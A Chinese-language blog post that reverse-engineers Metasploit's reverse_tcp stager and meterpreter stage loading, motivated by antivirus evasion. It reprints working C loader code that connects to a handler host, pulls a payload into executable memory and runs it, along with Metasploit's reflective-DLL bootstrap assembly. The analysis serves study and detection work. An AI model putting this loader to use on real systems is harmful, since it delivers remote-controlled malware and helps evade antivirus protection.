metasploit payload運行原理淺析

背景

最近在做一些msf相關的事情,今天聽到免殺相關的,去查詢了下相關資料。

第一個不能錯過的就是cobalt strike作者早年寫的metasploit-loader項目了,我看了項目源碼,找了一些相關資料

Meterpreter載荷執行原理分析 文章發現了一些細節性的東西,也感謝該文作者的拋磚引玉,不過文中有一些錯誤以及未說明白的地方,我會一一道來。

注意:本文只是對我自己的分析結果進行一次復盤,如果有什麼錯誤之處歡迎大家斧正

metasploit loader

metasploit的shellcode到底做了什麼

首先我們需要探討的第一個問題是metasploit的shellcode到底做了什麼?

在msf的官方wiki中,官方有對這個問題做一些簡單的解釋

從上面的文章我們大致能知道其實我們使用msf生成的shellcode只是一個載入器(Stagers),然後載入器通過我們生成shellcode時指定的ip和埠回連過來取到真正執行的惡意載荷(Stages)

載入器(Stagers)回連的具體流程

那麼提出第二個問題,這個載入器(Stagers)回連的具體程式碼流程是怎樣的?

我們通過文檔只能知道Stagers通過網路載入Stages,那麼Stages是什麼?shellcode?可執行文件?反射dll?這些我們還都不清楚。

然後通過網上一些零星的資料,找到了msf郵件組曾經的兩封郵件(源地址已無法訪問,所幸WebArchive有留存)

裡面提到流程以及關鍵點

流程

No tutorials that I know of, but here are the basic steps:

  • connect to the handler
  • read a 4-byte length
  • allocate a length-byte buffer
  • mark it as writable and executable (on Windows you’ll need
    VirtualProtect for this)
  • read length bytes into that buffer
  • jump to the buffer. easiest way to do this in C is cast it to a
    function pointer and call it.

關鍵點

Assuming this is for X86 arch, you have to make sure that the EDI
register contains your socket descriptor (the value of the ConnectSocket
variable). You can do this via inline asm, but it might be easier to
just prepend the 5 bytes for setting it to your shellcode:

BF 78 56 34 12 mov edi, 0x12345678

For 64 bit, you have to use the RDI register (and need 10 bytes):

48 BF 78 56 34 12 00 00 00 00 mov rdi, 0x12345678

Hope this helps,

Michael

PS: This is the reason why the calling convention within Metasploit is
called “sockedi” 😃

也就是說主要的流程大致上就是

  1. tcp連接
  2. 讀取socket前四個byte,這個為後面的載荷的長度
  3. 分配可讀可寫可執行的記憶體,把載荷塞進去
  4. 注意這段載荷的前面需要手動加 mov edi, &socket
  5. 然後跳轉到這塊記憶體進行執行

實現起來並不困難,但是有些奇怪的點,比如為什麼需要手動把edi的值設置為socket的地址?這個我們先放一放,看看一些loader的源碼

首先是cobalt strike作者的

int main(int argc, char * argv[]) {
	ULONG32 size;
	char * buffer;
	void (*function)();

	winsock_init();

	if (argc != 3) {
		printf("%s [host] [port]\n", argv[0]);
		exit(1);
	}

	/* connect to the handler */
	SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));

	/* read the 4-byte length */
	int count = recv(my_socket, (char *)&size, 4, 0);
	if (count != 4 || size <= 0)
		punt(my_socket, "read a strange or incomplete length value\n");

	/* allocate a RWX buffer */
	buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (buffer == NULL)
		punt(my_socket, "could not allocate buffer\n");

	/* prepend a little assembly to move our SOCKET value to the EDI register
	   thanks mihi for pointing this out
	   BF 78 56 34 12     =>      mov edi, 0x12345678 */
	buffer[0] = 0xBF;

	/* copy the value of our socket to the buffer */
	memcpy(buffer + 1, &my_socket, 4);

	/* read bytes into the buffer */
	count = recv_all(my_socket, buffer + 5, size);

	/* cast our buffer as a function and call it */
	function = (void (*)())buffer;
	function();

	return 0;
}

其他的函數我並沒有列出來,裡面的實現應該也很明白,就是我之前說的流程

然後是先知社區的,其實也就是把上一份程式碼注釋翻譯了一下

//主函數
int main(int argc, char * argv[]) {
    ULONG32 size;
    char * buffer;
    //創建函數指針,方便XXOO
    void (*function)();
    winsock_init(); //套接字初始化
    //獲取參數,這裡隨便寫,接不接收無所謂,主要是傳遞遠程主機IP和埠
    //這個可以事先定義好
    if (argc != 3) {
        printf("%s [host] [port] ^__^ \n", argv[0]);
        exit(1);
    }

    /*連接到處理程式,也就是遠程主機 */
    SOCKET my_socket = my_connect(argv[1], atoi(argv[2]));

    /* 讀取4位元組長度
    *這裡是meterpreter第一次發送過來的
    *4位元組緩衝區大小2E840D00,大小可能會有所不同,當然也可以自己丟棄,自己定義一個大小
    */
    //是否報錯
    //如果第一次不是接收的4位元組那麼就退出程式
    int count = recv(my_socket, (char *)&size, 4, 0);
    if (count != 4 || size <= 0)
        punt(my_socket, "read length value Error\n");

    /* 分配一個緩衝區 RWX buffer */
    buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (buffer == NULL)
        punt(my_socket, "could not alloc buffer\n");

    /* 
    *SOCKET賦值到EDI暫存器,裝載到buffer[]中
    */
    //mov edi
    buffer[0] = 0xBF;

    /* 把我們的socket里的值複製到緩衝區中去*/
    memcpy(buffer + 1, &my_socket, 4);

    /* 讀取位元組到緩衝區
    *這裡就循環接收DLL數據,直到接收完畢
    */
    count = recv_all(my_socket, buffer + 5, size);

    /* 將緩衝區作為函數並調用它。
    * 這裡可以看作是shellcode的裝載,
    * 因為這本身是一個DLL裝載器,完成使命,控制權交給DLL,
    * 但本身不退出,除非遷移進程,靠DLL里函數,DLL在DLLMain里是循環接收指令的,直到遇到退出指令,
    * (void (*)())buffer的這種用法經常出現在shellcode中
    */
    function = (void (*)())buffer;
    function();
    return 0;
}

兩份程式碼都沒解決我們的疑問

我們直接翻翻msf源碼

lib/msf/core/payload/windows/reverse_tcp.rb

程式碼比較長我就不貼了,簡要說一下, asm_block_recv 函數是接收載荷的函數,然後我們看看 asm_reverse_tcp

      create_socket:
        push #{encoded_host}    ; host in little-endian format
        push #{encoded_port}    ; family AF_INET and port number
        mov esi, esp            ; save pointer to sockaddr struct
        push eax                ; if we succeed, eax will be zero, push zero for the flags param.
        push eax                ; push null for reserved parameter
        push eax                ; we do not specify a WSAPROTOCOL_INFO structure
        push eax                ; we do not specify a protocol
        inc eax                 ;
        push eax                ; push SOCK_STREAM
        inc eax                 ;
        push eax                ; push AF_INET
        push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
        call ebp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
        xchg edi, eax           ; save the socket for later, don't care about the value of eax after this

call WSASocketA 之後返回的是socket句柄,返回值一般是在eax裡面,然後把eax賦值到了edi

繼續找找edi,但是發現剩下的edi都是用作調用,好像沒有什麼明顯的作用,那為什麼有這個?

這個載荷Stages具體是怎麼生成的?

這裡就要引入我剛才說的先知上的那篇文章的問題了,在 Meterpreter載荷執行原理分析 文章中,作者提到

metasploit的meterpreter的payload調用了meterpreter_loader.rb文件,在meterpreter_loader.rb文件中又引入了reflective_dll_loader.rb文件,reflective_dll_loader.rb主要是獲取ReflectiveLoader()的偏移地址,用於重定位使用,沒有什麼可分析的。我們來到這個文件里reflectivedllinject.rb,這個文件主要是修復反射dll的,meterpreter_loader.rb文件主要是用於自身模組使用,修復dll和讀取payload的長度的。

其實 windows/meterpreter/reverse_tcp 是走的 meterpreter_loader,而不是文中的 reflectivedllinject,我通過調試發現這個請求載荷的過程是流經 meterpreter_loader 文件的

不過這兩個文件的功效都是差不多的,我們打開分析一下

映入眼帘的應該是這段

  def stage_meterpreter(opts={})
    # Exceptions will be thrown by the mixin if there are issues.
    dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))

    asm_opts = {
      rdi_offset: offset,
      length:     dll.length,
      stageless:  opts[:stageless] == true
    }

    asm = asm_invoke_metsrv(asm_opts)

    # generate the bootstrap asm
    bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string

    # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
    if bootstrap.length > 62
      raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
    end

    # patch the bootstrap code into the dll's DOS header...
    dll[ 0, bootstrap.length ] = bootstrap

    dll
  end

這段程式碼裡面首先取到了metsrv的dll的文件,然後傳入 asm_invoke_metsrv 函數做處理,生成彙編位元組碼,然後替換這個dll的頭部

我們看看 load_rdi_dll 函數,這個函數取到了一個偏移量然後傳入 asm_invoke_metsrv 函數做處理了

  def load_rdi_dll(dll_path)
    dll = ''
    ::File.open(dll_path, 'rb') { |f| dll = f.read }

    offset = parse_pe(dll)

    unless offset
      raise "Cannot find the ReflectiveLoader entry point in #{dll_path}"
    end

    return dll, offset
  end

  def parse_pe(dll)
    pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
    offset = nil

    pe.exports.entries.each do |e|
      if e.name =~ /^\S*ReflectiveLoader\S*/
        offset = pe.rva_to_file_offset(e.rva)
        break
      end
    end

    offset
  end

甚至我們不用深究這些函數的具體流程,看名稱就知道,這個是從dll導出表找到了ReflectiveLoader導出函數的地址

然後進入 asm_invoke_metsrv 看看

  def asm_invoke_metsrv(opts={})
    asm = %Q^
        ; prologue
          dec ebp               ; 'M'
          pop edx               ; 'Z'
          call $+5              ; call next instruction
          pop ebx               ; get the current location (+7 bytes)
          push edx              ; restore edx
          inc ebp               ; restore ebp
          push ebp              ; save ebp for later
          mov ebp, esp          ; set up a new stack frame
        ; Invoke ReflectiveLoader()
          ; add the offset to ReflectiveLoader() (0x????????)
          add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
          call ebx              ; invoke ReflectiveLoader()
        ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
          ; offset from ReflectiveLoader() to the end of the DLL
          add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
    ^

    unless opts[:stageless] || opts[:force_write_handle] == true
      asm << %Q^
          mov [ebx], edi        ; write the current socket/handle to the config
      ^
    end

    asm << %Q^
          push ebx              ; push the pointer to the configuration start
          push 4                ; indicate that we have attached
          push eax              ; push some arbitrary value for hInstance
          call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
    ^
  end

不得不說這段十分巧妙,我們想想剛才的流程是什麼,排開那個 mov edi, &socket 不論,剩下的就是從傳回來的載荷的首地址開始跑了,那假如是一個dll文件,你把一個平常的dll文件,VirtualAlloc後直接跳到地址跑,能跑起來嗎?顯然是不能的,我們看看msf中的處理

我們上面的程式碼分析過,這個彙編最後是替換了dll的頭部,pe文件的頭部就是dos頭,dos頭必須是MZ開頭,不然這個根本算不上一個pe文件

dec ebppop edx 算怎麼回事?

其實這兩條彙編的機器碼就是

\x4D # dec ebp
\x5A # pop edx

恰好構成了MZ頭,然後繼續往下跑,調用了ReflectiveLoader(),這個是反射dll技術,具體程式碼技術細節可以見 //github.com/stephenfewer/ReflectiveDLLInjection

調用該dll導出函數 ReflectiveLoader 的主要功能就是載入dll自身到記憶體中,然後返回dllmain的函數地址,返回值是在eax裡面

然後調用 mov [ebx], edi ; write the current socket/handle to the config 把edi也就是上文提到的socket句柄地址存入ebx執行的記憶體,上面可以看到

 ; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}

這段彙編把ebx指向到了該dll載入空間的末尾

緊接著執行

push ebx              ; push the pointer to the configuration start
push 4                ; indicate that we have attached
push eax              ; push some arbitrary value for hInstance
call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)

調用儲存在eax中的dllmain的函數

其中的ebx到底是什麼?

我們把目光再往外層拉

  def stage_payload(opts={})
    stage_meterpreter(opts) + generate_config(opts)
  end

  def generate_config(opts={})
    ds = opts[:datastore] || datastore
    opts[:uuid] ||= generate_payload_uuid

    # create the configuration block, which for staged connections is really simple.
    config_opts = {
      arch:              opts[:uuid].arch,
      null_session_guid: opts[:null_session_guid] == true,
      exitfunk:          ds[:exit_func] || ds['EXITFUNC'],
      expiration:        (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
      uuid:              opts[:uuid],
      transports:        opts[:transport_config] || [transport_config(opts)],
      extensions:        [],
      stageless:         opts[:stageless] == true
    }

    # create the configuration instance based off the parameters
    config = Rex::Payloads::Meterpreter::Config.new(config_opts)

    # return the binary version of it
    config.to_b
  end

可以看到 stage_payload 中把生成好的dll位元組碼和一串config拼接了起來,config裡面的參數要分析的話又是一大塊了,本文不著眼於此

跟進 config.to_b 看看

  def to_b
    config_block
  end
  
  def config_block
    # start with the session information
    config = session_block(@opts)

    # then load up the transport configurations
    (@opts[:transports] || []).each do |t|
      config << transport_block(t)
    end

    # terminate the transports with NULL (wchar)
    config << "\x00\x00"

    # configure the extensions - this will have to change when posix comes
    # into play.
    file_extension = 'x86.dll'
    file_extension = 'x64.dll' unless is_x86?

    (@opts[:extensions] || []).each do |e|
      config << extension_block(e, file_extension)
    end

    # terminate the extensions with a 0 size
    config << [0].pack('V')

    # wire in the extension init data
    (@opts[:ext_init] || '').split(':').each do |cfg|
      name, value = cfg.split(',')
      config << extension_init_block(name, value)
    end

    # terminate the ext init config with a final null byte
    config << "\x00"

    # and we're done
    config
  end

然後我們跟進 session_blocktransport_block 看看就能明白這就是一串配置轉化為位元組碼,具體的轉化規則我們不論

可以看到 函數裡面有

    session_data = [
      0,                  # comms socket, patched in by the stager
      exit_func,          # exit function identifer
      opts[:expiration],  # Session expiry
      uuid,               # the UUID
      session_guid        # the Session GUID
    ]

    session_data.pack('QVVA*A*')

最開始的是0,pack的格式是Q,8位,這8位是幹嘛的?

現在回過頭想想,當之前生成好的dll載荷,我們從首地址開始跑,我們剛才那個edi(socket地址)填充到哪了,是不是那個dll空間的末尾再往後填,這個空間不恰好就是這8位0嗎?

所謂的sockedi到底是啥?

跟蹤edi

根據我們前面的分析,我們把載入器掛調試器跑起來看看

首先分配完RWX記憶體空間後,我們看到了首地址 0x6A0000,然後我們在記憶體窗口中轉到該地址,那我們重點關注的是dll所在區域的末尾,我們直接把記憶體地址轉到 0x6CAC06(別問我怎麼知道的,方法很多,比如多次調試)

我們首先把記憶體地址轉到這個地方然後往下跑把數據接過來看看

現在前八位還是空的,但是後面已經有一些數據了,包括一些能看到文字的配置(比如tcp://0.0.0.0:4444)然後繼續下跑,進到我們分配出來的函數去看看

首當其衝的就是我們的 mov edi, &socket,繼續往下

可以看到,和我們預期的一樣,複製到了這八位的空間裡面,這裡可以配合msf源碼以及我的注釋查看

分析用作載荷的反射dll

還記得我們前面分析的源碼中的metsrv dll文件嗎?

我們可以在 metasploit-payloads 中找到這個項目的源碼

我們直接看看metsrc dllmain函數

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
	BOOL bReturnValue = TRUE;

	switch (dwReason)
	{
	case DLL_METASPLOIT_ATTACH:
		bReturnValue = Init((MetsrvConfig*)lpReserved);
		break;
	case DLL_QUERY_HMODULE:
		if (lpReserved != NULL)
			*(HMODULE*)lpReserved = hAppInstance;
		break;
	case DLL_PROCESS_ATTACH:
		hAppInstance = hinstDLL;
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return bReturnValue;
}

剛才調用dllmain我們是使用了 calleax ;call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)

我們這個 config_ptr 傳遞的是什麼?是 push ebx ; push the pointer to the configuration start,也就是那個首8位塞了我們socket句柄地址的數據的起始地址,然後走 DLL_METASPLOIT_ATTACH 分支,把這個地址中的數據強轉為了 MetsrvConfig 結構體

我們看看 MetsrvConfig 結構體

typedef struct _MetsrvConfig
{
	MetsrvSession session;
	MetsrvTransportCommon transports[1];  ///! Placeholder for 0 or more transports
	// Extensions will appear after this
	// After extensions, we get a list of extension initialisers
	// <name of extension>\x00<datasize><data>
	// <name of extension>\x00<datasize><data>
	// \x00
} MetsrvConfig;

typedef struct _MetsrvSession
{
	union
	{
		UINT_PTR handle;
		BYTE padding[8];
	} comms_handle;                       ///! Socket/handle for communications (if there is one).
	DWORD exit_func;                      ///! Exit func identifier for when the session ends.
	int expiry;                           ///! The total number of seconds to wait before killing off the session.
	BYTE uuid[UUID_SIZE];                 ///! UUID
	BYTE session_guid[sizeof(GUID)];      ///! Current session GUID
} MetsrvSession;

typedef struct _MetsrvTransportCommon
{
	CHARTYPE url[URL_SIZE];               ///! Transport url:  scheme://host:port/URI
	int comms_timeout;                    ///! Number of sessions to wait for a new packet.
	int retry_total;                      ///! Total seconds to retry comms for.
	int retry_wait;                       ///! Seconds to wait between reconnects.
} MetsrvTransportCommon;

這些資訊很明顯能看到是一些資訊,比如uuid,重試次數之類的,這些在payload的生成選項裡面都能找到

那麼我們現在差不多明白了,這一塊的東西是強轉成了這個結構體,包括edi中所存放的socket句柄地址

好吧,別忘了我們的使命,搞清楚這個edi的作用

劃入這個結構體也就是

	union
	{
		UINT_PTR handle;
		BYTE padding[8];
	} comms_handle;                       ///! Socket/handle for communications (if there is one).

也就是我們找找 comms_handle 用在了哪

所以進到 Init((MetsrvConfig*)lpReserved) 裡面看看

DWORD Init(MetsrvConfig* metConfig)
{
	// if hAppInstance is still == NULL it means that we havent been
	// reflectivly loaded so we must patch in the hAppInstance value
	// for use with loading server extensions later.
	InitAppInstance();

	// In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually
	// a pointer to the metserv configuration, so do a nasty cast and move on.
	dprintf("[METSRV] Getting ready to init with config %p", metConfig);
	DWORD result = server_setup(metConfig);

	dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func);

	// We also handle exit func directly in metsrv now because the value is added to the
	// configuration block and we manage to save bytes in the stager/header as well.
	switch (metConfig->session.exit_func)
	{
	case EXITFUNC_SEH:
		SetUnhandledExceptionFilter(NULL);
		break;
	case EXITFUNC_THREAD:
		ExitThread(0);
		break;
	case EXITFUNC_PROCESS:
		ExitProcess(0);
		break;
	default:
		break;
	}
	return result;
}

裡面調用了 server_setup 然後吐出了結果,最後返回,跟到外層也就是dllmain的返回值,dllmain返回值作用我不贅述了,然後根據你的生成選項中的 EXITFUNC 來進行退出,退出進程、執行緒或者SEH異常,這裡我們不管,我們看看 server_setup 函數

server_setup函數很長,我就不貼整個函數了

使用了 comms_handle 的我貼一下

...
dprintf("[SESSION] Comms handle: %u", config->session.comms_handle);
...

dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle);
if (remote->transport->set_handle)
{
    remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
}

根據這些程式碼我們能夠知道是把 Transport handle 設置為了我們之前創建的socket

繼續往後找我們能找到

然後跟進 transport_set_handle_tcp 可以看到

/*!
 * @brief Get the socket from the transport (if it's TCP).
 * @param transport Pointer to the TCP transport containing the socket.
 * @return The current transport socket FD, if any, or zero.
 */
static UINT_PTR transport_get_handle_tcp(Transport* transport)
{
	if (transport && transport->type == METERPRETER_TRANSPORT_TCP)
	{
		return (UINT_PTR)((TcpTransportContext*)transport->ctx)->fd;
	}

	return 0;
}

/*!
 * @brief Set the socket from the transport (if it's TCP).
 * @param transport Pointer to the TCP transport containing the socket.
 * @param handle The current transport socket FD, if any.
 */
static void transport_set_handle_tcp(Transport* transport, UINT_PTR handle)
{
	if (transport && transport->type == METERPRETER_TRANSPORT_TCP)
	{
		((TcpTransportContext*)transport->ctx)->fd = (SOCKET)handle;
	}
}

也只是轉為了socket句柄,然後給外部再繼續通過這個socket去取一些伺服器上的東西(後面的我沒再跟下去了,我猜測也只有這種可能)

總結

這次的分析耗時一天,從上午看到討論免殺,載入器,然後開始分析,說實話,還是收穫了不少,比如那個反射dll的改dos頭就讓我不得不佩服,卧槽,這操作騷。本次只是拿 windows/meterpreter/reverse_tcp 開刀,我相信其他的也一樣,不然何以被官方稱 sockedi 調用約定,說明這已經是msf裡面載入的約定成俗的東西了。

那麼從這次的分析中我們能獲得哪些啟示?當然是免殺對抗的啟示,antiAV方可以通過研究使用自己的payload格式,AV方可以通過這個流程來對msf的payload的查殺更上一步,或者根據裡面的改DOS頭技術打造自己的模組化RAT

下一步可以做的

  1. 研究payload uuid的回傳
  2. 研究rc4,aes之類的所謂加密shellcode,加密是在哪裡

現在就可以得到的

  1. 當然是一個香噴噴的shellcode載入器,具體實現就是八仙過海各顯神通了。
  2. 改DOS頭直接執行的技術